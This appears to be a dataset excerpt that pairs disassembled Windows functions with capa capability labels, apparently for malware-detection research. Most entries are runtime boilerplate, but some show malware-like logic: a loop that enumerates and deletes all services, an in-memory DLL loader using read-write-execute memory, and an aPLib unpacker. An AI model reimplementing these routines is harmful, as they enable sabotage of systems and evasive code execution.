joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140fcf058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140fcf1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140fcf089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fcf06f
add dl, dl
jne 0x140fcf096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fcf0f6
xor eax, eax
add dl, dl
jne 0x140fcf0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fcf1ad
add dl, dl
jne 0x140fcf0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fcf0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fcf0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fcf0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140fcf0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140fcf07e
mov eax, 1
add dl, dl
jne 0x140fcf106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fcf113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fcf0fb
sub eax, ebx
mov ebx, 1
jne 0x140fcf14c
mov ecx, 1
add dl, dl
jne 0x140fcf12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140fcf13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fcf123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fcf07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140fcf168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140fcf175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fcf15d
cmp eax, 0x7d00
jae 0x140fcf19b
cmp eax, 0x500
jb 0x140fcf196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fcf07e
cmp eax, 0x7f
ja 0x140fcf19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fcf07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140fcf1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140fcf07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x18021e080
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rax, [0x180220630]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, section..text
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
add rsp, 0x30
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
Function at 0x281b73460
Capabilities:
Delete service
Stop service

Disassembly:
push r14
push r13
push r12
sub rsp, 0x40
mov r8d, 0xf003f
xor edx, edx
xor r14d, r14d
mov r13, rcx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r12, rax
test rax, rax
je 0x281b734e4
mov rdx, qword [r13]
mov r8d, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov r13, rax
test rax, rax
je 0x281b73540
mov rcx, rax
lea r8, [rsp + 0x20]
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, r13
test eax, eax
je 0x281b734f8
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, r13
mov r13, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x281b73520
call r13
mov r14d, 1
mov rcx, r12
call r13
mov eax, r14d
add rsp, 0x40
pop r12
pop r13
pop r14
ret
mov r13, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call r13
mov rcx, r12
call r13
mov eax, r14d
add rsp, 0x40
pop r12
pop r13
pop r14
ret
call r13
mov rcx, r12
call r13
mov eax, r14d
add rsp, 0x40
pop r12
pop r13
pop r14
ret
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, r14d
add rsp, 0x40
pop r12
pop r13
pop r14
ret

Function at 0x281b73560
Capabilities:
Delete service
Enumerate services

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r13, rax
test rax, rax
je 0x281b7369e
lea rbp, [rsp + 0x58]
lea r12, [rsp + 0x5c]
xor edx, edx
mov rcx, rax
lea rdi, [rsp + 0x54]
mov r9d, 3
mov r8d, 0x30
mov qword [rsp + 0x38], rbp
mov rbx, qword [sym.imp.ADVAPI32.dll_EnumServicesStatusExA]
mov dword [rsp + 0x54], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x5c], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rbx
mov ecx, dword [rsp + 0x54]
call fcn.281c3b060
mov qword [rsp + 0x38], rbp
xor edx, edx
mov rcx, r13
mov rsi, rax
mov eax, dword [rsp + 0x54]
mov qword [rsp + 0x40], r12
mov r9d, 3
mov qword [rsp + 0x48], 0
mov r8d, 0x30
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call rbx
mov eax, dword [rsp + 0x58]
mov rbp, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x281b73698
mov rdi, qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbp, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor ebx, ebx
mov r14, qword [sym.imp.ADVAPI32.dll_DeleteService]
nop
mov edx, ebx
mov r8d, 0xf01ff
mov rcx, r13
lea rax, [rdx*8]
sub rax, rdx
mov rdx, qword [rsi + rax*8]
call rdi
mov r12, rax
test rax, rax
je 0x281b736b0
mov rcx, rax
add ebx, 1
call r14
mov rcx, r12
call rbp
cmp dword [rsp + 0x58], ebx
ja 0x281b73660
mov rcx, r13
call rbp
nop
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
add ebx, 1
cmp dword [rsp + 0x58], ebx
ja 0x281b73660
jmp 0x281b73698
Function at 0x281b736c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov r8d, 1
xor edx, edx
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r12, rax
test rax, rax
je 0x281b73840
mov rsi, qword [rbx + 8]
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub rsi, qword [rbx]
call rbp
mov dword [rsp + 0x20], 0x40
mov r8, rsi
xor edx, edx
mov rcx, rax
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x281b73840
mov rdi, qword [rbx]
mov rsi, qword [rbx + 8]
call rbp
mov rdx, r13
mov qword [rsp + 0x20], 0
sub rsi, rdi
mov r8, rdi
lea rdi, [rsp + 0x3c]
mov rcx, rax
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.DllMain
mov rcx, r12
call rsi
test rax, rax
je 0x281b737d0
lea rdx, str.DllMain
mov rcx, r12
call rsi
mov r14, qword [rbx + 8]
sub r14, qword [rbx]
mov rsi, rax
call rbp
mov r9d, 0x40
mov r8, r14
mov rdx, r13
mov rcx, rax
mov qword [rsp + 0x20], rdi
mov r14, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call r14
xor r8d, r8d
mov edx, 1
mov rcx, r13
call rsi
mov r15d, dword [rsp + 0x3c]
mov rsi, qword [rbx + 8]
sub rsi, qword [rbx]
call rbp
mov qword [rsp + 0x20], rdi
mov r9d, r15d
mov r8, rsi
mov rcx, rax
mov rdx, r13
call r14
movsxd r14, dword [r13 + 0x3c]
mov rdx, qword [rbx + 8]
mov esi, r13d
mov r9, rdi
sub rdx, qword [rbx]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, 0x40
mov rcx, r13
add r14, r13
sub esi, dword [r14 + 0x30]
call rbp
movzx edx, word [r14 + 6]
test dx, dx
je 0x281b7382c
sub edx, 1
lea rax, [r14 + 0x108]
movzx edx, dx
lea rdx, [rdx + rdx*4]
lea rdx, [r14 + rdx*8 + 0x130]
nop dword [rax]
add dword [rax + 0xc], esi
add rax, 0x28
cmp rax, rdx
jne 0x281b73820
mov rdx, qword [rbx + 8]
mov r8d, dword [rsp + 0x3c]
mov r9, rdi
mov rcx, r13
sub rdx, qword [rbx]
call rbp
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x281b833b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.281b996e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.281b996e0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x281b83420
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x281ccf264]
mov r12, rcx
test ebx, ebx
jle 0x281b83550
mov rax, qword [0x281ccf268]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x281b8346c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x281b834f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x281b83450
mov rcx, r12
call fcn.281b83ba0
mov rsi, rax
test rax, rax
je 0x281b83572
mov rax, qword [0x281ccf268]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.281b83cd0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x281ccf268]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x281b83557
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x281b834ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x281b83500
add dword [0x281ccf264], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x281ccf268]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x281b834ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.281b833b0
nop dword [rax]
xor ebx, ebx
jmp 0x281b83477
mov rax, qword [0x281ccf268]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.281b833b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.281b833b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x281b83810
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x281ccf2a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x281ccf280]
test rbx, rbx
je 0x281b83864
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x281b8385b
test r12, r12
je 0x281b8385b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x281b83840
lea rcx, [0x281ccf2a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x281b83ba0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x281ca68b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x281b83bc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x281b83bc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x281b83bc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x281b83c15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x281b83c0c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x281b83bc0
add rax, 0x28
cmp rax, r9
jne 0x281b83bf8
xor eax, eax
ret

Function at 0x281b83c20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x281ca68b0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x281b83c40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x281b83c48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x281b83c40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x281b83cd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x281ca68b0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x281b83cf0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x281b83cf8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x281b83eb0
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x281b83ed0
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x281b83f18
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x281b83ec4
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x281b83f05
Function at 0x281b84030
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x281ccf3b0]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x281b84053
lea rax, [0x281ccf3b8]
mov ecx, 0x5f
lea rdx, str.__eh_shmem3_gcc_tdm_
lea r8, [rax + 0x15]
jmp 0x281b8409b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x281b84098
lea rax, [0x281ccf3e0]
mov ecx, 0x5f
lea rdx, str.__eh_shmem3_gcc_tdm_
lea r8, [rax + 0x14]
jmp 0x281b840cb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x281b840c8
xor ecx, ecx
mov byte [0x281ccf3f4], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x281ccf3fd], rdx
lea r8, [0x281ccf3b0]
lea rbx, [0x281ccf3f5]
mov qword [0x281ccf40d], rdx
mov qword [0x281ccf41d], rdx
mov qword [0x281ccf42d], rdx
xor edx, edx
mov qword [0x281ccf3f5], rax
mov qword [0x281ccf405], rax
mov qword [0x281ccf415], rax
mov qword [0x281ccf425], rax
mov byte [0x281ccf435], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x281b842a6
lea rcx, [0x281ccf3e0]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x281b841f1
lea rsi, [0x281ccf320]
lea r8, [0x281ccf435]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x281b8419d
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x281b84190
lea rcx, [0x281ccf3e0]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x281b84293
lea rcx, [0x281b83f40]
mov qword [0x281ccf320], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x281ccf320]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x56
lea rdx, [0x281ccf3e0]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x281ccf435]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x281b842c6
nop dword [rax]
cmp byte [rax], 0x41
jne 0x281b84243
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x281b84230
mov rax, rdx
mov qword [0x281ccf320], rax
lea rsi, [0x281ccf320]
jmp 0x281b84269
cmp rdx, rsi
je 0x281b841cf
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x281b84260
cmp rdx, rsi
je 0x281b841cf
mov qword [rdx + 8], rsi
lea rcx, [0x281b83f40]
call sub.msvcrt.dll__onexit
jmp 0x281b841cf
lea rcx, [0x281ca5230]
call fcn.281b83eb0
xor eax, eax
jmp 0x281b841e8
lea rcx, [0x281ca5208]
call fcn.281b83eb0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, [0x281ca5258]
call fcn.281b83eb0
xor eax, eax
jmp 0x281b8424f
Function at 0x281b87db0
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x281ca68f0]
mov rax, qword [rsi]
test rax, rax
je 0x281b87e40
cmp qword [rax + 0x30], 0
jne 0x281b87e60
lea rbx, [0x281c3d158]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x281b87e10
cmp qword [rax + 0x30], 0
jne 0x281b87e30
lea rdx, [0x281c3d158]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x281c3ce10
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.281b8d1c0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x281b87df2
test rax, rax
jne 0x281b87e30
call fcn.281b8d1c0
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x281b87e00
call fcn.281b8d1c0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x281b87dd0
test rax, rax
jne 0x281b87e60
call fcn.281b8d1c0
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x281b87ddb
call sub.msvcrt.dll_abort
nop

Function at 0x281b87e70
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x281b87f82
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x281b87f5a
add rax, 1
cmp rax, 0x6b
je 0x281b87f77
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x281b87f50
cmp edx, 0x6a
je 0x281b87f77
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x281b87f6b
Function at 0x281b8be40
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call fcn.281b87ae0
mov r12, rax
test rax, rax
je 0x281b8c0a9
test rdi, rdi
je 0x281b8be7a
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x281b8bee7
add ebx, 1
cmp ebx, 1
je 0x281b8bff0
mov ecx, 0x14
call r14
cmp ebx, 5
jne 0x281b8beb5
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call fcn.281b86730
cmp eax, 1
je 0x281b8c0ef
cmp qword [r12 + 0x30], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x281b8c092
xor edx, edx
test rsi, rsi
je 0x281b8bf5f
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x281b8c0c0
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [0x281b894e0]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x281b8c050
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x281b8c020
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x281b8c000
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor ecx, ecx
call r13
jmp 0x281b8beb5
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x281b8bfcf
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x281b8bfa5
mov edx, 0xf
cmp eax, 0xe
jg 0x281b8bfa5
cmp eax, 2
mov edx, 2
cmovle edx, eax
jmp 0x281b8bfa5
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x281b8c060
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call fcn.281b865b0
mov rcx, r14
call fcn.281b86730
cmp eax, 1
je 0x281b8c0ef
mov qword [r12 + 0x68], 0xffffffffffffffff
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
test rdi, rdi
je 0x281b8c09e
mov qword [rdi], 0
cmp qword [r12 + 0x1d0], 0
je 0x281b8c0e0
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call fcn.281b88990
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x281b8bf5f
mov rcx, r12
call fcn.281b88020
mov eax, 0xb
jmp 0x281b8c0ae
call fcn.281b87e70
nop
nop word cs:[rax + rax]
Function at 0x281b8d040
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x281b8d060
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x281b8d0a8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x281b8d054
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x281b8d095